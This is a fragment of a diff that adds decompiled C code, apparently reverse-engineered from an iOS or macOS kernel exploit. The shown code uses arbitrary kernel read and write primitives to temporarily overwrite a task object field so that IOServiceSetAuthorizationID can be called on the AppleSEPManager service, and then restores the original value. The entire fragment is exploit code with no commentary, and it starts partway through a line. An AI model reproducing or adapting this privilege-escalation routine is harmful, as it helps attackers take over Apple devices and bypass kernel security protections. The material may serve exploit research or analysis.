krwCtx->iosurfaceObj; + if ( v4 + 1 <= 1 ) + { + v5 = (unsigned int)ioservice_get_matching("AppleSEPManager"); + if ( v5 + 1 < 2 ) + return 708625; + v4 = v5; + krwCtx->iosurfaceObj = v5; + } + v6 = 163856; + v7 = krwCtx->gap_0x18; + if ( !v7 ) + { + v7 = get_task_kobject_addr(krwCtx, v4); + if ( !v7 ) + return 163854; + krwCtx->gap_0x18 = v7; + } + if ( krwCtx->gap_0x20 ) + { + v15 = krwCtx->gap_0x20; + someKernelAddress = v7 + 40; + } + else + { + someKernelAddress = v7 + 40; + if ( !kread_physmap_decorated(krwCtx, v7 + 40, (unsigned __int64 *)&v15) ) + return 163855; + krwCtx->gap_0x20 = v15; + } + if ( kwrite64_last_arg(krwCtx, someKernelAddress, a2, 0) ) + { + v9 = _IOServiceSetAuthorizationID(); + v10 = v9; + if ( v9 ) + { + if ( v9 != 53 ) + { + v10 = (v9 & 0xFFF) | 0x70000000; + goto LABEL_25; + } + if ( krwCtx->gap_0xC ) + { + krwCtx->gap_0xC = 0; + v10 = refresh_target_task_port(krwCtx, mach_task_self_, 0, 0); + krwCtx->gap_0xC = 1; + if ( v10 ) + goto LABEL_25; + } + else + { + v10 = refresh_target_task_port(krwCtx, mach_task_self_, 0, 0); + if ( v10 ) + goto LABEL_25; + } + v11 = _IOServiceSetAuthorizationID(); + if ( v11 ) + v10 = (v11 & 0xFFF) | 0x70000000; + else + v10 = 0; + } +LABEL_25: + is_the_kwrite64 = kwrite64_last_arg(krwCtx, someKernelAddress, v15, 0); + if ( v10 ) + v13 = v10; + else + v13 = 163856; + if ( is_the_kwrite64 ) + return v10; + else + return v13; + } + return v6; +} +